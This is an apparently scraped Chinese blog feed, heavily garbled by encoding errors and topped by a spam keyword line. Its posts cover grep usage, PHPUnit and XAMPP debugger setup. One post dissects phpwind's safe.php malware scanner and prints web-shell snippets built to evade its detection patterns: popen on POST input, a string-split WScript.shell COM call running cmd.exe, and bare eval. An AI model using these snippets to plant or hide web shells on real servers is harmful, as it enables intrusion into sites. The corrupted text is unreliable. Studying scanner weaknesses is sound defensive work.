人妻精品久久无码区 ,精品久久久久久久久久久久久久久,国内精品久久久久久久coent

PHP木马应对

暗夜教父 — Fri, 28 May 2010 08:25:00 GMT

linux下查找文件内容！find+grep�Q�小寿原创）(j��)

#> find . -type f -exec grep 'mingtian' -l {} \;

grep -l :是显�C�匹配的内容的文件名字！

或者：(x��)

#> find . -type f -name "*.*" |xargs grep 'xiaoshou' -l

(�q�个�Ҏ(gu��)�� 不好�Q�挺��q��Q�还慢，推荐前一个方法！�Q?/div>

phpwind开发的php木马查杀工具有何�?

22 Comments | 技术相�?| by angel | 22700 Views.

看看phpwind官方的介�l?!我不得不好奇的来看看。道怎么比魔高了(ji��n)�Q?/div>

-----------------------------------------

服务�?php 木马, 恶意�E�序查杀工具(适用�?.3.6 �?2.0.1 版被��d��站点的安全检��?

使用�?9%可以栚w��(zh��n)�空间上的恶意程序与 php木马�E�序

-----------------------------------------

哎，看来phpwind的开发�h员在�q�方面有�Ҏ(gu��)��W�，我来一句一句分析一下safe.php文�g的核�?j��)�?/div>

1、strpos($a,'shell_exec')!==false

如果包含shell_exec�Q�杀

我这��L(f��ng)��q�：(x��)

-------------

system();

-------------

passthru();

-------------

exec();

-------------

$pp = popen($_POST['command'], 'r');

$read = fread($pp, 2096);

echo $read;

-------------

$wsh = new COM('W'.'Scr'.'ip'.'t.she'.'ll') or die("PHP Create COM WSHSHELL failed");

$exec = $wsh->exec ("cm"."d.e"."xe /c ".$_POST['command']."");

$stdout = $exec->StdOut();

$stroutput = $stdout->ReadAll();

echo $stroutput;

2、strpos($a,'eval($_')!==false

如果包含eval($_�Q�杀

我这��L(f��ng)��q�：(x��)

eval($a);

3、strpos($a,'move_uploaded_file($_FILES')!==false

如果包含move_uploaded_file($_FILES�Q�杀

我这��L(f��ng)��q�：(x��)

move_uploaded_file($a,$b);

4、strpos($a,'copy($_FILES')!==false

如果包含copy($_FILES�Q�杀

我这��L(f��ng)��q�：(x��)

copy($a,$b);

完了(ji��n)�Q�！��p��L(f��ng)��束了(ji��n)�Q�全部绕�q�了(ji��n)�Q�后门��l�留着。唉。真的不知道�q�个工具有什么用�Q�骗骗菜鸟站�?/div>

�Q��ؓ(f��)什么只能用在phpwind的站点？又怎么99�Q�根除恶意程序了(ji��n)�Q�？

到我�q�里应该�?9.999999�Q�不能根除恶意程序！�Q�！使用�q�个和不使用��直没分别。希望我手头没有�?/div>

位PHPWIND站长的后门哦。不要以为有�?ji��n)这个safe.php��高枕无忧了(ji��n)。嘻嘅R��道高一��，��绝对要高一�?/div>

�?#8230;…改变不了(ji��n)的事实�?/div>

暗夜教父 2010-05-28 16:25 发表评论

暗夜教父 — Tue, 13 Apr 2010 11:30:00 GMT

摘要: 转自http://blog.csdn.net/summerfang/archive/2006/05/20/746219.aspx很长旉��里，我对“你什么时候会(x��)为PHPUnit写一个文�?#8221;�q�个问题的回�{�是�Q?#8220;你不需要PHPUnit文档�Q�去读读JUnit文档或买一本Junit的书�Q�试一试用PHP和PHPUnit来重写Java和Junit的例�?#8221;。当我和O... 阅读全文

暗夜教父 2010-04-13 19:30 发表评论

PHPUnit袖珍指南-概述

暗夜教父 — Tue, 13 Apr 2010 11:27:00 GMT

转自http://blog.csdn.net/summerfang/archive/2006/05/20/746216.aspx

聪明�?/span>Web开发�h员会(x��)告诉你，��快扑ֈ�代码的错误，你就能越快修正它�Q�长期而言�Q�项目成本越低。好�?ji��n)，能最有效的检��?/span>PHP代码中的错误的工��h��PHPUnit�Q�一个开发源代码的框�Ӟ��它在你不在的时候，自动�q�行成套的单元测试。��?/span>PHPUnit的好处是显而易见的�Q?/span>

l 减少用于��试代码的工作量

l 减少��M��软�g�~�陷

l 增加对代码的信心(j��)

l 改善你和开发源代码的团队伙伴的关系

直到现在�Q�这个流行工具唯一的问题是�~�Z��文档。�ؓ(f��)�?ji��n)解册��个问题�?/span>O’Reilly直接扑ֈ��?ji��n)源��_(d��)��PHPUnit口袋书指南的作者，也是PHPUnit的创造者，Sebastian Bergmann�Q�来解决�q�个问题。这本书把很多难以记忆的信息�Q�语法，PHPUnit工作的原则，�l�一��C��赗��它也带来了(ji��n)只有技术创造者才能提供的�z�察力和睿智忠告。而且�Q�本书也谈到�?ji��n)敏��h��法和极限�~�程中关于测试的内容�?/span>

�?/span>O’Reilly口袋书指南最�q�的�p�d��中，�q�本快速参考书把所有的�{�案都带��C��(ji��n)你的指尖。那些对��试PHP代码感兴��的Web应用�E�序开发者，�?x��)觉得本书是一个无��L(f��ng)��伴��G�?/span>

--------------------------------------------------------------------------------------------------------------

原文�Q?/span>

Overview

Smart web developers will tell you that the sooner you detect your code mistakes, the quicker you can fix them, and the less the project will cost in the long run. Well, the most efficient way to detect your mistakes in PHP is with PHPUnit, an open source framework that automates unit testing by running a battery of tests as you go. The benefits of PHPUnit are significant:

a reduction in the effort required to frequently test code

fewer overall defects

added confidence in your code

improved relations with your open source teammates

The only problem with this popular testing tool was its lack of documentation-until now, that is. For this, O'Reilly went right to the source, as Sebastian Bergmann, the author of PHPUnit Pocket Guide, also happens to be PHPUnit's creator. This little book brings together hard-to-remember information, syntax, and rules for working with PHPUnit. It also delivers the insight and sage advice that can only come from the technology's creator. Coverage of testing under agile methodologies and Extreme Programming (XP) is also included.

The latest in O'Reilly's series of handy Pocket Guides, this quick-reference book puts all the answers are right at your fingertips. It's an invaluable companion for anyone interested in testing the PHP code they write for web applications.

暗夜教父 2010-04-13 19:27 发表评论

暗夜教父 — Mon, 12 Oct 2009 07:43:00 GMT

我用的是lamp集成环境是xampp�Q�linux下是lampp�Q�其实都是一个东�ѝ�?/p>

��x��变一下自��p��土的调试方式，所以试用一下zend debugger和xdebug

�a�归正传，如何让三者共存呢。（理论上，你用zend debugger��׃��必再使用xdebug�Q�反之亦�?d��ng)��?j��)

xampp已经�l�好�?ji��n)zend optimizer的配�|�，�q�且xdebug也已�l�默认给配置好了(ji��n)�Q�只是都没有启用而已

�W�一步：(x��)启用zend optimizer

在php.ini中，扑ֈ�zend_optimizer.enable_loader�Q�把值高�?卛_��

如：(x��)

[Zend]
zend_extension_ts = “D:\xampp\php\zendOptimizer\lib\ZendExtensionManager.dll”
zend_extension_manager.optimizer_ts = “D:\xampp\php\zendOptimizer\lib\Optimizer”
zend_optimizer.enable_loader = 1
zend_optimizer.optimization_level=15
zend_optimizer.license_path =
; Local Variables:
; tab-width: 4
; End:

�W�二步：(x��)加蝲zend debugger

�q�里是一个需要注意的地方

下蝲zend debugger: 地址�Q�http://downloads.zend.com/pdt/server-debugger/�Q�下载符合你操作�pȝ��的版本，保存到自定义的目录，例如d:/xampp/php/zenddebugger

在该目录下徏立一个相应当前php版本的文件夹�Q?如当前php版本php5.26, 卛_��该文件夹下徏立php-5.2.x文�g夹，注：(x��) 此处X为真实的字符�Q�而不是一个代表符�?/p>

��下载的debugger中相应版本的ZendDebugger.dll考到该目录下�?/p>

再配�|?php.ini�Q�加�?/p>

[Debugger]
zend_extension_manager.debug_server_ts=”D:\xampp\php\zenddebugger”
zend_debugger.allow_hosts=127.0.0.1/32,192.168.0.0/44
zend_debugger.expose_remotely=always

重启apache,查看phpinfo,如果看到

with Zend Extension Manager v1.2.0, Copyright (c) 2003-2007, by Zend Technologies
with Zend Optimizer v3.3.3, Copyright (c) 1998-2007, by Zend Technologies
with Zend Debugger v5.2.15, Copyright (c) 1999-2008, by Zend Technologies

��p��明成功了(ji��n)

�W�三步：(x��)加蝲xdebug

我们可以以扩展�Ş式加载xdebug,��避免了(ji��n)和zend optimizer冲突�?/p>

extension=php_xdebug.dll

注意php_xdebug.dll要在xampp/php/ext目录�?/p>

然后php.ini中添加的内容 �Q�xampp已经��d��好，我们只需要去掉注释即可）(j��)

[XDebug]
;; Only Zend OR (!) XDebug
;zend_extension_ts=”D:\xampp\php\ext\php_xdebug.dll”
xdebug.remote_enable=true
xdebug.remote_host=127.0.0.1
xdebug.remote_port=9000
;xdebug.remote_handler=dbgp
;xdebug.profiler_enable=1
;xdebug.profiler_output_dir=”D:\xampp\tmp”

再重启apache, OK�?开始测�?/p>

�l�果是，zend debugger可以和zend optimize共存�Q�但xdebug不能和zend optimize共存

如果使用dll方式加蝲xdebug,�?x��)有错误提示。�ƈ且不再执�?/p>

暗夜教父 2009-10-12 15:43 发表评论